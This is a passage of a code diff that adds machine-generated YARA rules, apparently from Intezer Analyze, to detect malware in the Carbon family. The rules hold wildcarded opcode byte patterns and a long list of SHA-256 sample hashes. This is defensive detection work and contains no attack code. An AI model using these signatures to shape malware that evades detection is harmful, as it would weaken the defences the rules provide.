+		$block_46 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_47 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? F7 ?? 1B ?? 83 ?? ?? 83 ?? ?? 8B ?? ?? 88 }
+		$block_48 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_49 = { 8B ?? ?? 8B ?? ?? 2B ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 8B ?? ?? 3B ?? ?? 76 }
+		$block_50 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_51 = { D9 ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? D8 ?? 89 ?? ?? ?? DF ?? F6 ?? ?? 0F 84 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_53 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_54 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? 25 ?? ?? ?? ?? 03 ?? C1 ?? ?? 83 ?? ?? 74 }
+		$block_55 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_56 = { 8B ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_57 = { 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_58 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? C1 ?? ?? 0B ?? FF 4? ?? 4? 89 ?? ?? 75 }
+		$block_59 = { 68 ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_60 = { 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 0F BE ?? 83 ?? ?? 74 }
+		$block_61 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? C1 ?? ?? 83 ?? ?? 83 ?? ?? 75 }
+		$block_62 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? C1 ?? ?? 83 ?? ?? 83 ?? ?? 74 }
+		$block_63 = { 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 3B ?? 72 }
+		$block_64 = { 88 ?? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_65 = { 0F B6 ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? ?? 0F B6 ?? ?? 83 ?? ?? 75 }
+		$block_66 = { 8B ?? ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_67 = { 5? 8B ?? 5? 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? 3B ?? 74 }
+		$block_68 = { 8D ?? ?? 99 83 ?? ?? 03 ?? 8B ?? C1 ?? ?? 03 ?? 03 ?? 85 ?? 7E }
+		$block_69 = { 8B ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? 99 F7 ?? 89 ?? ?? ?? 3B ?? 7D }
+		$block_70 = { 8B ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 89 }
+		$block_71 = { 8D ?? ?? 99 83 ?? ?? 03 ?? 8B ?? C1 ?? ?? 3B ?? ?? ?? ?? ?? 7E }
+		$block_72 = { 8B ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? 99 F7 ?? 89 ?? ?? ?? 3B ?? 7C }
+		$block_73 = { 5? 6A ?? 8D ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_74 = { 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 3B ?? ?? ?? 89 ?? ?? ?? 0F 8C }
+		$block_75 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_76 = { 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? A3 ?? ?? ?? ?? 0F 85 }
+		$block_77 = { 6A ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_78 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_79 = { 33 ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? 8D ?? ?? 83 ?? ?? 0F 82 }
+		$block_80 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 2B ?? 2B }
+		$block_81 = { 8B ?? ?? 2B ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 3B ?? ?? 76 }
+		$block_82 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? 3D ?? ?? ?? ?? 7F }
+		$block_83 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_84 = { 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_85 = { 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_86 = { 83 ?? ?? 83 ?? ?? ?? ?? 5? 5? 5? 5? 8B ?? 8B ?? 0F 8E }
+		$block_87 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_88 = { 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_89 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 75 }
+		$block_90 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 81 3? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_92 = { 0F B6 ?? ?? C1 ?? ?? 81 C? ?? ?? ?? ?? 8B ?? ?? 89 }
+		$block_93 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? C1 ?? ?? 74 }
+		$block_94 = { E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_95 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? ?? ?? ?? 0F 84 }
+		$block_96 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_97 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_98 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 3B ?? 0F 83 }
+		$block_99 = { 5? 8B ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "0d1fe4ab3b074b5ef47aca88c5d1b8262a1293d51111d59c4e563980a873c5a6" or
+		hash.sha256(0, filesize) == "bb975dc17d871535ddeadfb6ec34089ba02eef3f2432e7a4f37065b53d67c00a" or
+		hash.sha256(0, filesize) == "9897d726cfccefd8f444c167cfaa34949449104a1a343a047dda2c257c4c9a31" or
+		hash.sha256(0, filesize) == "615b0bdff7cfa88cd55f5629505ed6212e7e8c022e00b33fc12e5f33356d5872" or
+		hash.sha256(0, filesize) == "b34cf1c74d4c4ce873543d41fc03be06a403b4872bcd1adbe16cfaa4201df115" or
+		hash.sha256(0, filesize) == "4c8b2e001dbf9e8b285c79514319e0a14dbb839998dd4d643d51fb11767d0cf9" or
+		hash.sha256(0, filesize) == "3b903a93f1fd2bd81b7b73daefd2d298a2fbb0137b786449e07176abd5cdde74" or
+		hash.sha256(0, filesize) == "7e2ae0a57bc676aab0926babe934cc2c89ef194a1660ee175182237f837c45eb" or
+		hash.sha256(0, filesize) == "43b8ce99af9c59376d3b077a87ce7afe720022987f3cf62f51504d22330a516b" or
+		hash.sha256(0, filesize) == "93742b415f28f57c61e7ce7d55208f71d5c4880dc66616da52f3c274b20b43b0" or
+		hash.sha256(0, filesize) == "30fc7f6e8623ee65e56fd4514169a2b01d1e35af06dda347ff4efe94c3d2329f" or
+		hash.sha256(0, filesize) == "e8044c11f46b204a7dec5600cf3a0a5252951b9a026a9a41abcce96e0f1adf90" or
+		hash.sha256(0, filesize) == "2fc6bc0683f9e9f20aae1fb257a1a05be63ddbbc600876bff6cd622879518d6e" or
+		hash.sha256(0, filesize) == "50edc955a6e8e431f5ecebb5b1d3617d3606b8296f838f0f986a929653d289ed" or
+		hash.sha256(0, filesize) == "09bc2a5f3de9dbcf54eb94e0f3a67c846403b34ad11dff23c9c8627bb9a16529" or
+		hash.sha256(0, filesize) == "c55fa19ac18710c56045e39724f3b6a83a916508ae23a14bb2a108e71eac64a0" or
+		hash.sha256(0, filesize) == "2956ef7470a504a8ea7aab211442febee740b3a0d39bb4fae1a2e578689167d6" or
+		hash.sha256(0, filesize) == "152c867667517a0ec0b3231beece8ff46ff954bfc2493ca3bdfdfc6ea6b1bde9" or
+		hash.sha256(0, filesize) == "85e6ab75e96dc7df18dd97d7c0eaeb0ed8d4fa33a4ecc09c196b9cf4795ca368" or
+		hash.sha256(0, filesize) == "92c2023095420de3ca7d53a55ed689e7c0086195dc06a4369e0ee58a803c17bb" or
+		hash.sha256(0, filesize) == "3de0ba77fa2d8b26e4226fd28edc3ab8448434d851f6b2b268ec072c5da92ade" or
+		hash.sha256(0, filesize) == "6e9bf792c8247e612d3a8dfc5ea139c624e1d6c8bf116ff5ce280e7dc07ec4d4" or
+		hash.sha256(0, filesize) == "655f1fdcd8b60425426dd4c22e50e79374b9790d44415cb9c0e51f64e73d4de4" or
+		hash.sha256(0, filesize) == "f4554db7998e0a3467fa35d6a4fee1e34ae9db6381751e45f889fcaacd95c985" or
+		hash.sha256(0, filesize) == "67bc775cc1a58930201ef247ace86cc5c8569057d4911a8e910ac2263c8eb880" or
+		hash.sha256(0, filesize) == "846bdce641d7acbfaf28891d0351620fec954e02b2145cb7cd13aa6bdc8fe647" or
+		hash.sha256(0, filesize) == "8c0e21756d659b383e206d603dfd3be41f0ea2d8277dae7bc1b6a2e1dc64e5c6" or
+		hash.sha256(0, filesize) == "7fabb245a35ad61406627bac9a2c232e5990da5ec5f144d43af59167200f971a" or
+		hash.sha256(0, filesize) == "e4ff7d8c1cdf48039640454025ff17cbe0f7e79bd561bd5ad8ff1e7aa5073754" or
+		hash.sha256(0, filesize) == "c6b9ade2f5885ccebff30c4e7b279e17d981ff153936735d75874f52735ad556" or
+		hash.sha256(0, filesize) == "cf1b968a37fb4ac317e4ec89c57974ae4ce88c6f9119bd9343bbb4834ea8d2f3" or
+		hash.sha256(0, filesize) == "bf1cfc65b78f5222d35dc3bd2f0a87c9798bce5a48348649dd271ce395656341" or
+		hash.sha256(0, filesize) == "e2e5cc06f3814c48a14af0a587c947eb098f3803383fe8ac3162ab1027f991f9" or
+		hash.sha256(0, filesize) == "5e72cdb489133c984ae3b807bffbc788d14ceefb2385b5f2dff3618d85ffffd8" or
+		hash.sha256(0, filesize) == "a5d557e91716997925119dfb7dd007732e37a21d9abba2282565ce583b5d6eca" or
+		hash.sha256(0, filesize) == "61bd32dbe2d08c31a23094dee2a2920c1fc3e9b4fbfbe2d3341b8dfed62cfab4" or
+		hash.sha256(0, filesize) == "f3e4e1dece0a14bedbd02b123996316d90a99b8ba581dd1c45b52f33ee56f2e5" or
+		hash.sha256(0, filesize) == "8931663da74657c87ce2bf76ba501a3dd9cb7a952063d6122996d1dbc6227093" or
+		hash.sha256(0, filesize) == "a10a0c729e5100c979d446b5f87251b0743fd108a305d9f9ea85832729ced6a8" or
+		hash.sha256(0, filesize) == "b262292e049ee75d235164df98fa8ed09a9e2a30c5432623856bafd4bd44d801" or
+		hash.sha256(0, filesize) == "5d21324eddb511fd4630a46d78673d73777383d62fc3ac2c966fd922f7f21256" or
+		hash.sha256(0, filesize) == "831ea1e478093409733708256086529f8971e7ed8849d4d146d8fe28602f1d2a" or
+		hash.sha256(0, filesize) == "b7aeb8b1bbcf9db4c6a37ceecb0a29f0a5efe8dda72b4563f547e0b18afb0a50" or
+		hash.sha256(0, filesize) == "e943923f6b2d5c915cc34d1ca81498a64329d7151fd7c42ca92a315f97e8ce82" or
+		hash.sha256(0, filesize) == "ba15a26408613936c6bc192f1b143e15914cd578074e91ba4fcff6a042c4f9e7" or
+		hash.sha256(0, filesize) == "d5757c6f93b94fb3819363b4c2b3046a2e714968652a5992a6756f180d30cd25" or
+		hash.sha256(0, filesize) == "20f7a38a5e3c4fec43978be3a4c4ea91ecbb94ccc0151dd770cda3100dc79d99" or
+		hash.sha256(0, filesize) == "fea3d7271bf2ad43e2534e8be050b6f8830991375e301403817d4d57e87ed624" or
+		hash.sha256(0, filesize) == "2b30fc3afac6220d1e4b0f87ec23681ef27b617d5724421803a3e8d4e7135f60" or
+		hash.sha256(0, filesize) == "e2bbb2b9bb5cd97371150d8ae64efeca90a6e7162cd0080613854d1b189fd5a6" or
+		hash.sha256(0, filesize) == "1d93015012993265d64c9f5494ca40ff75a8c850ea57357f0a8668d56bf6b160" or
+		hash.sha256(0, filesize) == "fc68026b83392aa227e9adf9c71289cb51ba03427f6de67a73ae872e19ef6ff9" or
+		hash.sha256(0, filesize) == "89ead864cb4117eb5ec548ead783a292db5aec8c2ddbb7873e81de7ce73f570a" or
+		hash.sha256(0, filesize) == "b8c477c2f8c38b7d726b18e925f5b15a7fa2dd8ec19a73eb688844f40f50b914" or
+		hash.sha256(0, filesize) == "0ac463de10eaf57cfcf2d41bdfbc827844dd7b8d908905fca9bc105c200c9362" or
+		hash.sha256(0, filesize) == "b9620603662fe681ce714f78905d806c946b599b44505e0a6e4a14e97e2c973a" or
+		hash.sha256(0, filesize) == "c8bee88458f89f6aee9bb213c397ef1b9ff4588169b1bba5bec7b840879170fc" or
+		hash.sha256(0, filesize) == "dc06a54b55edf5ae48d3721c038a3e57d92e321505bed80a0e22defdf1312f76" or
+		hash.sha256(0, filesize) == "71b3b876702f2405832444b761c6b3bdb854a77aea0bf650d1fee346479fa6ff" or
+		hash.sha256(0, filesize) == "93c8db29ec3707f13bf5a96d5b8a3dc33c2f5b870acd3df07292c724ce10a13f" or
+		hash.sha256(0, filesize) == "bb2b25b2a161914a23d1f3d68e852b5305a27e827431b538703735e6199d518d" or
+		hash.sha256(0, filesize) == "168f8c29c14880a5f1b13b24c11f4707c40bbd24593b90908b44192f73b6c2d6" or
+		hash.sha256(0, filesize) == "0e3842bd092db5c0c70c62e8351649d6e3f75e97d39bbfd0c0975b8c462a65ca" or
+		hash.sha256(0, filesize) == "3a6ade7e2278d39ea74ef86144b256780d76e4db29431873e9271b20e4614696" or
+		hash.sha256(0, filesize) == "100bd3acec48872863523ecc25731d647f9c1baeb9c320aa89cc1f9dfb57b3db" or
+		hash.sha256(0, filesize) == "4f18b90cd644ea28bcb964622855145afca6a34e2381a10d731ec0f1bb46dd3b" or
+		hash.sha256(0, filesize) == "f28f406c2fcd5139d8838b52da703fc6ffb8e5c00261d86aec90c28a20cfaa5b" or
+		hash.sha256(0, filesize) == "a7701723cddf597309f9c5813cb962e74751c80203db31d14e2e05971ac6378c" or
+		hash.sha256(0, filesize) == "9fd6dadb312d9d9d2dd3c151c7c58103e0e0062162428f578de95c2f192aa8b0" or
+		hash.sha256(0, filesize) == "8fb20f80f0ee6ba3bb60e05079aceb05cbad17d73659665db21ce78b6898ce88" or
+		hash.sha256(0, filesize) == "6b9419b2e6ea7dbe2054b4b2568bd5c61c08706f33788c55649fd4991a28c476" or
+		hash.sha256(0, filesize) == "1321c78aa2abefd7f59994376b02159e5c2c81665f01b6a18707bd4fc3861116" or
+		hash.sha256(0, filesize) == "d9498b9a806a8c7e706020dab600b1842eaa4bf3909e69144a8410db1f5e6e83" or
+		hash.sha256(0, filesize) == "f85f66e45cc232223e8db39ac0b1cec1332b6267e0d2505926fe4c07427ff0d6" or
+		hash.sha256(0, filesize) == "369b23b794f487653ab5d410c35c26a72c9affe0a4e49062f034b4d08e254d77" or
+		hash.sha256(0, filesize) == "a15c351b940046bc80c8d0a69b8d5f6c4198cb20f68ad830dc3b1036ba8d34e4" or
+		hash.sha256(0, filesize) == "0f5ec3b9535d4f956330351c5310626ffaa17f146ff51a8b3b10ea0a7039eadc" or
+		hash.sha256(0, filesize) == "d2bef8242f3295c1815fb7ee32228a221b0e59f0be43259e4f41bd18c7e7dcf1" or
+		hash.sha256(0, filesize) == "7032c7bb7ebd3f8b886aa175d2c52138ef00fc3313b61dae87cfc80d1c8a7ec3" or
+		hash.sha256(0, filesize) == "2f5aa8a71df89858b6681cddbe72d30dded5c808e6018ff723c4660ab53b1a93" or
+		hash.sha256(0, filesize) == "253c92fee41941aaef4dfe269240ff7025cf902cae3d8b3318eeb6c7f31742aa" or
+		hash.sha256(0, filesize) == "f56b1248cdecffd25dbf8a2895105fec38f0a4ce03241571c8eb8daafc9a168f" or
+		hash.sha256(0, filesize) == "39050386f17b2d34bdbd118eec62ed6b2f386e21500a740362454ed73ea362e8" or
+		hash.sha256(0, filesize) == "571633025b6ff979a946186b892d9217be26c4078e7911b2ebccaa4dcda6aeab" or
+		hash.sha256(0, filesize) == "ca69e85a5752d4a5ffe88c3d45d0d14f329e518aab56e8fc948138db23810233" or
+		hash.sha256(0, filesize) == "99ac651da4a17a667a0b05009bafde945cbcd93ada8f241d9c3ad8654095fcc4" or
+		hash.sha256(0, filesize) == "47247719f62f8409aae68867d9750e8c2a792b241efea1c1eac58baca3f146ee" or
+		hash.sha256(0, filesize) == "09bd85c522a23396e1ab57680eb515ff29f4dd72baa5ba49637020ae2336b6b1" or
+		hash.sha256(0, filesize) == "746a3aa794e77a83806747649de68109baca26fe7bdd985af1b73a2285a7df10" or
+		hash.sha256(0, filesize) == "43e71b993d6e7c977caaf2ed7610a71758734d87ec2ceb20a84e573ea05a01b3" or
+		hash.sha256(0, filesize) == "11016f63ca3c35ae4bcba8705854a787420af27d3d6953b1c563cf694f1811c5" or
+		hash.sha256(0, filesize) == "79cdaebb65c04758a5fce3bbd19973af21de4cc0c4cf659ece8cc153f441fc19" or
+		hash.sha256(0, filesize) == "b3746bf1c21b70a367c1b9de9f5d8c7f1a4803a014e0e6300ddd4adeb45feeff" or
+		hash.sha256(0, filesize) == "ea4b2d5e2c47ba8ce92a90b6e2fe6a48d22dbafd6ec4dab7465c8cef28e19515" or
+		hash.sha256(0, filesize) == "35ed1d87b31d238b3bdcffb13b5902cceba3c25aebfd9f54789d79d33bc6ce7a" or
+		hash.sha256(0, filesize) == "9611d0b1837e933b9d938e19791b757aa56669ec75b8fd671bdd1371eede03bb" or
+		hash.sha256(0, filesize) == "57b8c2f5cfeaca97da58cfcdaf10c88dbc2c987c436ddc1ad7b7ed31879cb665" or
+		hash.sha256(0, filesize) == "e534a8c4c126dfa35dd5c0a34582f244a51c08e446e9ffd5ccde9f5a37564c03" or
+		hash.sha256(0, filesize) == "caa22575a53cbd65b5b6b22132279f1817f26a832612e854cb08dd50f93790c2" or
+		hash.sha256(0, filesize) == "cced33b6fe42e56355118a7dbae8bc2fded8d218615616f2edbbf0f6795a1473" or
+		hash.sha256(0, filesize) == "5bda2aefda5802d716c8a849c409af40f78f7208222f3e08c9323c5eea76e5a9" or
+		hash.sha256(0, filesize) == "36494d7f0aeaf36bd6fa49e08636ffe6f20fdd60c13a0dc1bfc97e4d9d4e54ba" or
+		hash.sha256(0, filesize) == "129380c4955be84330ead54c8939dfb55c91d9f08a9964a73434692fb6bf9d74" or
+		hash.sha256(0, filesize) == "c14c04f8c41407e1ddb100f1b6c5f2af5d1815edd9f024e9b76686ddf8b368bc" or
+		hash.sha256(0, filesize) == "36e44ea38c8d48a34df0dc88cf1e1203f8f97bd52f035eccd338112e57f6f9f3" or
+		hash.sha256(0, filesize) == "12be398511efb74fb99b496229fce2648a71c5bccd85b45adfd14f5af5b7dbda" or
+		hash.sha256(0, filesize) == "4c49c9d601ebf16534d24d2dd1cab53fde6e03902758ef6cff86be740b720038" or
+		hash.sha256(0, filesize) == "a6bf9cc1f64ac190e42cfce47564ef71492a788543d438408b522e40a716610c" or
+		hash.sha256(0, filesize) == "77e68d7aa595231067597d9a1c176fe2f3c4f53ae3f6509f11e2c314d286f4e6" or
+		hash.sha256(0, filesize) == "ff2a292ef76b5040fda8635ca95a652ff81ff57bb602a229ff7c74da31fe4d8b" or
+		hash.sha256(0, filesize) == "94f05acb7e004e66875c02f7f903f1874f7085a772742e351ea9c0237a1079e2" or
+		hash.sha256(0, filesize) == "55b17467da6d12ecf71e82eb96870bd314f248675da1bfad1b1e437b45453452" or
+		hash.sha256(0, filesize) == "5a64928debca2d9f1ffa4194f541c9188b32430cad4bdabac8f5bbdc514a0685" or
+		hash.sha256(0, filesize) == "527b6a2bf5a250c06378b8f0f2b0ba4a1a121bf460ac70ecb3bf8b41ac1b06b4" or
+		hash.sha256(0, filesize) == "8c12da9df42c74afbefebfa5f601cd8e18cb4ef8eced56b319cb1011324ff198" or
+		hash.sha256(0, filesize) == "07e29254c525f67a7c3c815440bb8ba4454faf1e7f502a3a5f27f813b97e6b11" or
+		hash.sha256(0, filesize) == "dfb513ae1ae4d661194781c52e8135ea15a252e4df7130ed564e286d83a4ad11" or
+		hash.sha256(0, filesize) == "33460a8f849550267910b7893f0867afe55a5a24452d538f796d9674e629acc4" or
+		hash.sha256(0, filesize) == "54107d0498f12b53ae49e9311f3a599dbbc3c555358a26a33f9b797c0c5f377c" or
+		hash.sha256(0, filesize) == "564ee49a4703de53bfa1bdc6a5b71f111ea23e38a6ff441e0bf2ff7c28d95525" or
+		hash.sha256(0, filesize) == "f697aa0bb10ae7141fb1ee62e854616e1d650397121041fc7d502c091c4234eb" or
+		hash.sha256(0, filesize) == "54d5a7313ec9522b76fea9759fce7193335b924d073c0513bc528bf6d86194aa" or
+		hash.sha256(0, filesize) == "eb8d87c6684dcbbcbb49bf60724c1ab15942b9ba52bf7f866d33e07b4b82c905" or
+		hash.sha256(0, filesize) == "bd48c953163785c5f682b742ea5b25a611b2bf551a1dd36fb8abb2c07d9189de" or
+		hash.sha256(0, filesize) == "afb0ae6e0f130b9200949c191561b013c2762f392717b36c87964b0a34a0f632" or
+		hash.sha256(0, filesize) == "ef444eaef804955cb7a5902e30b43201c3d45c0f35aaa0b0ea73f3af916688ae" or
+		hash.sha256(0, filesize) == "583132e0aab63507f6bd15a5d37aa883279ded69fa18e04fd299b0c2df845d54" or
+		hash.sha256(0, filesize) == "65fdaf08e562611ce58f1d427f198f8743d88a68e1c4d92afe6dc6251e8a3112" or
+		hash.sha256(0, filesize) == "4a9e6fdafba6bddc8600f51aae4eb6119c0abe1f6ebdfc025a76627372e223a4" or
+		hash.sha256(0, filesize) == "448df2684c495bb54ee87214bba4b3b6b4b8d0989bf698ced04962cbcc0865a8" or
+		hash.sha256(0, filesize) == "d597e4a61d94180044dfb616701e5e539f27eeecfae827fb024c114e30c54914" or
+		hash.sha256(0, filesize) == "9bcde3bb10a88644393bb598e3b2498b3522b68299bea6e4f24cc4eeb5cfe231" or
+		hash.sha256(0, filesize) == "099ad10b55e74e1b99424d8e739107534004ba5b1e6c051cf8b942ed32dabca6" or
+		hash.sha256(0, filesize) == "198388dc0f81a5915def5414b62f485f6f2a8e12c28592a810518059a2eb5a36" or
+		hash.sha256(0, filesize) == "beac78638a18b7de1861845797ff3adfae22607dceee42b99e17d191045244ed" or
+		12 of them
+}
+
+rule CarbonOrchestrator_v3_79_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_2 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? 48 ?? ?? ?? ?? 8B ?? ?? 2B ?? 8B ?? 89 ?? ?? ?? EB }
+		$block_3 = { 4C ?? ?? ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_5 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? 66 ?? ?? ?? EB }
+		$block_6 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_8 = { 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_10 = { 0F BE ?? ?? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 7C }
+		$block_11 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_12 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_13 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_15 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 75 }
+		$block_16 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? C7 }
+		$block_17 = { 8B ?? ?? ?? 44 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? 73 }
+		$block_19 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_20 = { 48 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_21 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_22 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 0F 85 }
+		$block_23 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? E9 }
+		$block_24 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_25 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_26 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
